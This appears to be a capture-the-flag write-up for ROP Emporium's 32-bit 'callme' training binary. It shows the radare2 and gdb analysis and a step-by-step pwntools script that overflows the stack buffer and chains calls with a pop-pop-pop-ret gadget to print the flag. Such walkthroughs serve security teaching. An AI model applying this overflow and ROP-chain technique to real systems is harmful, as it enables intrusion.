Last time we looked at ropemporium's second 32-bit challenge, split. This time we're going to look at the third challenge, callme (maybe).

This challenge is a step up from the previous two as we're told we have to call three different functions in oder (callme_one(), callme_two() and callme_three()) each with the arguments 1,2,3 to decrypt the flag. The binary comes with an encrypted_flag.txt and a couple of Key.dat files, presumably used by the functions to decrypt the flag, in addition to a libcallme32.so library.

First off, let's run it:

callme by ROP Emporium
32bits

Hope you read the instructions...
> test

Exiting

Seems straightforward enough...

Let's take a look a the binary in radare2.

Binary Analysis

r2 callme32
 -- I thought we were friends. :_
[0x08048640]> i
blksz    0x0
block    0x100
fd       3
file     callme32
format   elf
iorw     false
mode     r-x
size     0x1e68
humansz  7.6K
type     EXEC (Executable file)
arch     x86
baddr    0x8048000
binsz    6541
bintype  elf
bits     32
canary   false
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
static   false
stripped false
subsys   linux
va       true
[0x08048640]>

As before, we get some information about the binary using i, and then perform some analysis using aaa, and check the function list with afl.

[0x08048640]> afl
0x08048558    3 35           sym._init
0x08048590    1 6            sym.imp.printf
0x080485a0    1 6            sym.imp.fgets
0x080485b0    1 6            sym.imp.callme_three
0x080485c0    1 6            sym.imp.callme_one
0x080485d0    1 6            sym.imp.puts
0x080485e0    1 6            sym.imp.exit
0x080485f0    1 6            sym.imp.__libc_start_main
0x08048600    1 6            sym.imp.setvbuf
0x08048610    1 6            sym.imp.memset
0x08048620    1 6            sym.imp.callme_two
0x08048630    1 6            sub.__gmon_start_630
0x08048640    1 33           entry0
0x08048670    1 4            sym.__x86.get_pc_thunk.bx
0x08048680    4 43           sym.deregister_tm_clones
0x080486b0    4 53           sym.register_tm_clones
0x080486f0    3 30           sym.__do_global_dtors_aux
0x08048710    4 43   -> 40   entry1.init
0x0804873b    1 123          sym.main
0x080487b6    1 86           sym.pwnme
0x0804880c    1 67           sym.usefulFunction
0x08048850    4 93           sym.__libc_csu_init
0x080488b0    1 2            sym.__libc_csu_fini
0x080488b4    1 20           sym._fini
[0x08048640]>

We note that the callme functions are actually imported functions (indicated by the sym.imp prefix, and confirmed using ii to view the imports). We also see our usual usefulFunction and pwnme functions.

We can then enter Visual Mode with V, cycle to the disassembler layout with p and then use the flag search hud, _, to search for our usefulFunction.

[0x0804880c 26% 220 callme32]> pd $r @ sym.usefulFunction
┌ (fcn) sym.usefulFunction 67
│   sym.usefulFunction ();
│           0x0804880c      55             push ebp
│           0x0804880d      89e5           mov ebp, esp
│           0x0804880f      83ec08         sub esp, 8
│           0x08048812      83ec04         sub esp, 4
│           0x08048815      6a06           push 6                      ; 6
│           0x08048817      6a05           push 5                      ; 5
│           0x08048819      6a04           push 4                      ; 4
│           0x0804881b      e890fdffff     call sym.imp.callme_three   ;[1]
│           0x08048820      83c410         add esp, 0x10
│           0x08048823      83ec04         sub esp, 4
│           0x08048826      6a06           push 6                      ; 6
│           0x08048828      6a05           push 5                      ; 5
│           0x0804882a      6a04           push 4                      ; 4
│           0x0804882c      e8effdffff     call sym.imp.callme_two     ;[2]
│           0x08048831      83c410         add esp, 0x10
│           0x08048834      83ec04         sub esp, 4
│           0x08048837      6a06           push 6                      ; 6
│           0x08048839      6a05           push 5                      ; 5
│           0x0804883b      6a04           push 4                      ; 4
│           0x0804883d      e87efdffff     call sym.imp.callme_one     ;[3]
│           0x08048842      83c410         add esp, 0x10
│           0x08048845      83ec0c         sub esp, 0xc
│           0x08048848      6a01           push 1                      ; 1 ; i
└           0x0804884a      e891fdffff     call sym.imp.exit           ;[4]
            0x0804884f      90             nop

We can see here that our callme functions are being invoked, but in the wrong order and with the wrong parameters compared to our information text about this challenge.

From here we can seek to the callme functions by pressing the number next to the call in the square brackets, in this case [1], [2] or [3].

We can poke around a bit more, but what we need to do appears to be clear, lets give it a go!

Exploitation

Let's create the skeleton of our pwntools script.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
    'b* main',
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.interactive()

Running this we get some useful information in the console and our gdb session starts. We can use gdb to print the memory address of the callme functions with the print command.

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[+] Starting local process '/usr/bin/gdbserver': pid 5812
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnhVaLOg.gdb"
[*] Switching to interactive mode

We note that the checksec output agrees with the information from radare, and that the none-executable stack (NX) is enabled but there is no stack canary or ASLR (PIE)..

Then in the gdb window:

Breakpoint 1, 0x0804873b in main ()
gef➤  print '[email protected]'
$2 = {<text variable, no debug info>} 0x80485c0 <[email protected]>
gef➤  print '[email protected]'
$3 = {<text variable, no debug info>} 0x8048620 <[email protected]>
gef➤  print '[email protected]'
$4 = {<text variable, no debug info>} 0x80485b0 <[email protected]>
gef➤

We can compare these to the the function list from radare, and see that they match.

Let's set up a rop chain similar to split32 where we call the first function, callme_one() with the appropriate arugments.

As we setup the binary using the pwntools ELF function we get a few extras, such as being able to resolve the function pointers using the binary.symbols, which we'll log to check they're what we expect.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
io.sendline("A" * 100)
io.interactive()

Running this we see the PLT callme functions have the expected values:

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[*] callme_one_plt: 0x80485c0
[*] callme_two_plt: 0x8048620
[*] callme_three_plt: 0x80485b0
[+] Starting local process '/usr/bin/gdbserver': pid 10188
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnPXkiBV.gdb"
[*] Switching to interactive mode

And that the process errors as expected:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffe9fa70  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x0
$ecx   : 0xf7f2989c  →  0x00000000
$edx   : 0xffe9fa70  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$esp   : 0xffe9faa0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xf7f28000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $es: 0x002b  $ss: 0x002b  $cs: 0x0023  $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffe9faa0│+0x00: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"      ← $esp
0xffe9faa4│+0x04: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9faa8│+0x08: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9faac│+0x0c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab0│+0x10: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab4│+0x14: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab8│+0x18: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fabc│+0x1c: "AAAAAAAAAAAAAAAAAAAAAAAA"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x41414141 in ?? ()
gef➤

Replacing this with our cyclic string, we find the overwrite occurs with 0x6161616c, the same as the last two challenges.

Let's overwrite this with As and confirm our control.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create dummy rop chain of As
rop = "AAAA"

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Perfect! Now all that remains is to create our rop chain.

The first thing we want to call is callme_one, so that will go at the start of the chain and will be the first thing to get executed.

When the process execution 'returns' to our callme_one address it will expect the stack to be set up. The top of the stack should contain the return address of the function, and then the function arguments as it's 32-bit.

Our stack should therefore look like:

.......................Top of stack, lower memory addresses
0x00000003
0x00000002
0x00000001
<return address>
<address of [email protected]>
0x41414141
0x41414141
0x41414141
...
......................Bottom of stack, higher memory addresses

Let's set up our rop chain then, forgetting about the return address for now and just setting it to BBBB:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)
rop += "BBBB"
rop += pwn.p32(0x1)
rop += pwn.p32(0x2)
rop += pwn.p32(0x3)

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Running this, we break at callme_one:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff8a6fc0  →  0x61616161 ("aaaa"?)
$ebx   : 0x0
$ecx   : 0xf7f3b89c  →  0x00000000
$edx   : 0xff8a6fc0  →  0x61616161 ("aaaa"?)
$esp   : 0xff8a6ff0  →  0x42424242 ("BBBB"?)
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f3a000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0x80485c0   →  <[email protected]+0> jmp DWORD PTR ds:0x804a018
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  $gs: 0x0063  $ds: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8a6ff0│+0x00: 0x42424242     ← $esp
0xff8a6ff4│+0x04: 0x00000001
0xff8a6ff8│+0x08: 0x00000002
0xff8a6ffc│+0x0c: 0x00000003
0xff8a7000│+0x10: 0xf7f3000a  →  0x870c0e41
0xff8a7004│+0x14: 0xf7f3a000  →  0x001d5d8c
0xff8a7008│+0x18: 0x00000000
0xff8a700c│+0x1c: 0xf7d7d9a1  →  <__libc_start_main+241> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x80485b0 <[email protected]+0> jmp    DWORD PTR ds:0x804a014
    0x80485b6 <[email protected]+6> push   0x10
    0x80485bb <[email protected]+11> jmp    0x8048580
 →  0x80485c0 <[email protected]+0> jmp    DWORD PTR ds:0x804a018
    0x80485c6 <[email protected]+6> push   0x18
    0x80485cb <[email protected]+11> jmp    0x8048580
    0x80485d0 <[email protected]+0>     jmp    DWORD PTR ds:0x804a01c
    0x80485d6 <[email protected]+6>     push   0x20
    0x80485db <[email protected]+11>    jmp    0x8048580
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x80485c0 → Name: [email protected]()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x080485c0 in [email protected] ()
gef➤

Here we can see that we're in the callme_one function, and it looks like our stack is set up correctly! Our return address is 0x42424242 (BBBB), and our 1,2 and 3 are in the correct positions so that the function thinks they are the arguments!

If we let execution continue we see that we get a segfault when the process tries to return to our 0x42424242 address, and our arguments are still there at the top of the stack. This is problematic, as we want to redirect to our second function callme_two, but if we do then the stack is set up so that 0x00000001 would be the return address, and 0x00000002 would be the first argument and so on... so what can we do?

Rop Gadgets

Here we use what is known as a rop gadget. A gadget is any set of instructions that ends in a ret or similar command, so that we can execute those instructions and then return to our rop chain.

Here, if we can find a pop-pop-pop-ret and use that as our first return address, it will pop our three arguments off the stack and then return to the next address, which can be anything!

It doesn't matter what registers the values are getting popped into (as long as it isn't ESP or EIP of course), it just matters that they are being popped off the stack.

Let's use gdb-gef to search for gadgets. If we run gef help we can see the gef commands, including ropper.

We can use ropper to search for any pop-pop-pop-ret by using the % sign as a wildcard to match any string.

gef➤  ropper --search  "pop %; pop %; pop %; ret"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop %; pop %; pop %; ret

[INFO] File: /root/ctfs/ropemporium/32/callme/callme32
0x080488a8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080488aa: pop edi; pop ebp; ret;
0x080488a9: pop esi; pop edi; pop ebp; ret;
0x080488c0: pop ss; add byte ptr [eax], al; add esp, 8; pop ebx; ret;

gef➤

Perfect! We have a nice pop-pop-pop-ret at 0x080488a9, so lets make this our return address, and then just add the stack frame for callme_two immediately afterwards!

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)      # <-    inital overwrite to callme_one
rop += pwn.p32(0x080488a9)          #   |   callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_one arg1
rop += pwn.p32(0x2)                 #   |   callme_one arg2
rop += pwn.p32(0x3)                 # <`    callme_one arg3
rop += pwn.p32(callme_two_plt)      # <-    pop-pop-pop-ret returns here
rop += "BBBB"                       #   |   callme_two return address
rop += pwn.p32(0x1)                 #   |   callme_two arg1
rop += pwn.p32(0x2)                 #   |   callme_two arg2
rop += pwn.p32(0x3)                 # <`    callme_two arg3

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Running this we break at callme_one again, we can step through and see that we return to our pop-pop-pop-ret, which pops our inital arguments of the stack and then returns to callme_two with the correct arguments in place!

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0
$ebx   : 0x0
$ecx   : 0x15
$edx   : 0x9850168   →  0x00000000
$esp   : 0xff8df670  →  0x080488a9  →  <__libc_csu_init+89> pop esi
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f0b000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0xf7f387cc  →  <callme_one+252> ret
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $gs: 0x0063  $cs: 0x0023  $ss: 0x002b  $es: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8df670│+0x00: 0x080488a9  →  <__libc_csu_init+89> pop esi    ← $esp
0xff8df674│+0x04: 0x00000001
0xff8df678│+0x08: 0x00000002
0xff8df67c│+0x0c: 0x00000003
0xff8df680│+0x10: 0x08048620  →  <[email protected]+0> jmp DWORD PTR ds:0x804a030
0xff8df684│+0x14: 0x42424242
0xff8df688│+0x18: 0x00000001
0xff8df68c│+0x1c: 0x00000002
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7f387c4 <callme_one+244> std
   0xf7f387c5 <callme_one+245> (bad)
   0xf7f387c6 <callme_one+246> call   DWORD PTR [eax-0x3603a275]
 → 0xf7f387cc <callme_one+252> ret
   ↳   0x80488a9 <__libc_csu_init+89> pop    esi
       0x80488aa <__libc_csu_init+90> pop    edi
       0x80488ab <__libc_csu_init+91> pop    ebp
       0x80488ac <__libc_csu_init+92> ret
       0x80488ad                  lea    esi, [esi+0x0]
       0x80488b0 <__libc_csu_fini+0> repz   ret
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f387cc → Name: callme_one()
[#1] 0x80488a9 → Name: __libc_csu_init()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f387cc in callme_one () from ./libcallme32.so

And once we enter callme_two:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0
$ebx   : 0x0
$ecx   : 0x15
$edx   : 0x9850168   →  0x00000000
$esp   : 0xff8df684  →  0x42424242 ("BBBB"?)
$ebp   : 0x3
$esi   : 0x1
$edi   : 0x2
$eip   : 0xf7f387cd  →  <callme_two+0> push ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $gs: 0x0063  $cs: 0x0023  $ss: 0x002b  $es: 0x002b
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff8df684│+0x00: 0x42424242     ← $esp
0xff8df688│+0x04: 0x00000001
0xff8df68c│+0x08: 0x00000002
0xff8df690│+0x0c: 0x00000003
0xff8df694│+0x10: 0xff8d000a  →  0x00000000
0xff8df698│+0x14: 0xff8df72c  →  0xff8e065a  →  "LC_NUMERIC=en_GB.UTF-8"
0xff8df69c│+0x18: 0xff8df6b4  →  0x00000000
0xff8df6a0│+0x1c: 0x00000001
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7f387c5 <callme_one+245> (bad)
   0xf7f387c6 <callme_one+246> call   DWORD PTR [eax-0x3603a275]
   0xf7f387cc <callme_one+252> ret
 → 0xf7f387cd <callme_two+0>   push   ebp
   0xf7f387ce <callme_two+1>   mov    ebp, esp
   0xf7f387d0 <callme_two+3>   push   esi
   0xf7f387d1 <callme_two+4>   push   ebx
   0xf7f387d2 <callme_two+5>   sub    esp, 0x10
   0xf7f387d5 <callme_two+8>   call   0xf7f385a0 <__x86.get_pc_thunk.bx>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f387cd → Name: callme_two()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f387cd in callme_two () from ./libcallme32.so

We see our BBBB return address and arguments correctly placed on the stack!

Let's do the same for callme_three and then execute the whole chain!

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three
exit_plt = binary.symbols.plt.exit

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create rop chain
rop = ""
rop += pwn.p32(callme_one_plt)      # <-    inital overwrite to callme_one
rop += pwn.p32(0x080488a9)          #   |   callme_one return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_one arg1
rop += pwn.p32(0x2)                 #   |   callme_one arg2
rop += pwn.p32(0x3)                 # <`    callme_one arg3
rop += pwn.p32(callme_two_plt)      # <-    pop-pop-pop-ret returns here
rop += pwn.p32(0x080488a9)          #   |   callme_two return address to pop-pop-pop-ret
rop += pwn.p32(0x1)                 #   |   callme_two arg1
rop += pwn.p32(0x2)                 #   |   callme_two arg2
rop += pwn.p32(0x3)                 # <`    callme_two arg3
rop += pwn.p32(callme_three_plt)    # <-    pop-pop-pop-ret returns here
rop += pwn.p32(exit_plt)            #   |   callme_three return address to exit
rop += pwn.p32(0x1)                 #   |   callme_three arg1
rop += pwn.p32(0x2)                 #   |   callme_three arg2
rop += pwn.p32(0x3)                 # <`    callme_three arg3


# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
overwrite = 0x6161616c
payload = pwn.fit({
    overwrite: str(rop)
})

io.sendline(payload)

io.interactive()

Here we also set the callme_three return address to [email protected] so that we exit the process nicely, though it's not strictly necessary as we don't really care if it errors after it prints our flag!

It all seems to be in place, let's give it a run:

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[*] callme_one_plt: 0x80485c0
[*] callme_two_plt: 0x8048620
[*] callme_three_plt: 0x80485b0
[+] Starting local process '/usr/bin/gdbserver': pid 3642
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwn8CbXJP.gdb"
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}
Child exited with status 0
[*] Process '/usr/bin/gdbserver' stopped with exit code 0 (pid 3646)
[*] Got EOF while reading in interactive

Awesome! We got our flag!

Summary

We've pwnd callme32 by setting up our first real rop chain which calls three different functions with arguments. We've picked up a few new tricks in gdb-gef, radare2 and pwntools and really gotten to grips with the layout of a stack frame.

Next time we'll try the fourth challenge, write4, where we'll have to use gadgets to write our own values to memory and then use them to get a shell!

P.S Thanks to @PwnDexter for the awesome title!